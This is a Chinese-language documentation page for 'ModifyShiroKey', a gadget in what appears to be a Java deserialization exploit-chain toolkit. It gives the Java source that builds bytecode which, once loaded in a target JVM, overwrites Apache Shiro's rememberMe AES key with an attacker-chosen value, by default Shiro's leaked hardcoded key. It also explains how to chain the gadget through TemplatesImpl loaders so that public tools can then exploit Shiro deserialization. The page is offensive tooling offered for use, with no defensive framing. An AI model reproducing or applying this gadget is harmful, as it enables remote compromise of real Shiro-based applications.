- 类别:bytecode 别名:— 优先级:—
- 作者:Ar3h
- 依赖:无(产物为纯字节码,运行时依赖目标存在 Shiro)
产出一段字节码,被目标 JVM 加载后会把 Apache Shiro 的 rememberMe AES 加密密钥(CipherKey)改成攻击者指定的值。用于「已知一个 gadget 能加载类、但不知道原 Shiro key」的场景:先把 key 改成自己可控的固定 key,之后即可用该 key 稳定构造 rememberMe Cookie 进行反序列化利用。是一个链尾字节码 sink(END)。
- 入口
tags:Bytecode、END——Bytecode表示产物是字节码byte[];END表示它是链终点(sink),其后不接任何 gadget。 - 衔接
nextTags:空。 excludes:无。
需由上游「字节码装载器」承接(把 byte[] 变成被加载/执行的类),例如经 BytecodeConvert 装入 TemplatesImpl 后由 Java 反序列化跳板触发。
结构与其它 Bytecode sink 一致:取模板类 → 回填字段 → 导出字节码:
@GadgetTags(tags={"Bytecode", "END"})
@GadgetAnnotation(name="修改ShiroKey", description="修改 Shiro key 字节码", authors={"Ar3h"})
public class ModifyShiroKey implements Gadget {
@Param(name="修改后的ShiroKey")
public String key = "18yK12qfl0PRxrsW8zoXkg==";
public byte[] getObject() throws Exception {
JavassistHelper javassistHelper = new JavassistHelper(ModifyShiroKeyBytecode.class);
javassistHelper.modifyStringField("key", this.key);
return javassistHelper.getBytecode();
}
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
chain.doCreate(context);
return this.getObject();
}
}逐段解释:
- 模板类:改 key 的真正逻辑固定在
com.ar3h.chains.gadget.impl.bytecode.common.template.ModifyShiroKeyBytecode中——该类在被目标加载时,会反射定位 Shiro 的CookieRememberMeManager(或其AbstractRememberMeManager)并调用setCipherKey(Base64.decode(key))把加密密钥替换为字段key的值。 - 字段回填:
modifyStringField("key", this.key)用 Javassist 直接改写模板类中key字段的常量初值,把攻击者的新 key(默认18yK12qfl0PRxrsW8zoXkg==,即 Shiro 历史默认硬编码 key)写进字节码。 invoke:先chain.doCreate(context),再getObject()返回改写后的byte[]。本 gadget 只产出字节码,加载动作由上游装载器完成。
默认 key 18yK12qfl0PRxrsW8zoXkg== 恰是 Shiro < 1.2.4 泄露的默认密钥;把目标 key 强制改成它,等于把一个「未知 key 的目标」降级为「已知默认 key 的目标」,随后即可用公开工具直接打 Shiro 反序列化。
| 字段 | 名称 | 说明 | 默认 | 可选值 |
|---|---|---|---|---|
key |
修改后的ShiroKey | 目标 Shiro rememberMe 的 AES 密钥将被改成此值(Base64) | 18yK12qfl0PRxrsW8zoXkg== |
任意 Base64 编码的 16 字节密钥 |
- 适用于目标运行 Apache Shiro 且已有一条能加载/执行任意类字节码的通道。
- 本身不直接 RCE,而是把「密钥爆破/未知」问题转化为「密钥已知」,属于辅助性 sink。
- 依赖模板类对 Shiro 内部
RememberMeManager/CipherKeyAPI 的反射兼容性,Shiro 版本差异可能影响成功率。
usedInChains 为空——自由构件,未直接出现在 51 条预设链中。作为特化的字节码 sink,供 Shiro 场景按需替换普通 Exec sink。
- 上游(吃
Bytecode的装载器):BytecodeConvert →TemplatesImpl等字节码装载跳板。 - 同族(其它
bytecode/common字节码 sink):以相同「模板类 +JavassistHelper.modifyStringField回填」模式实现的各类载荷。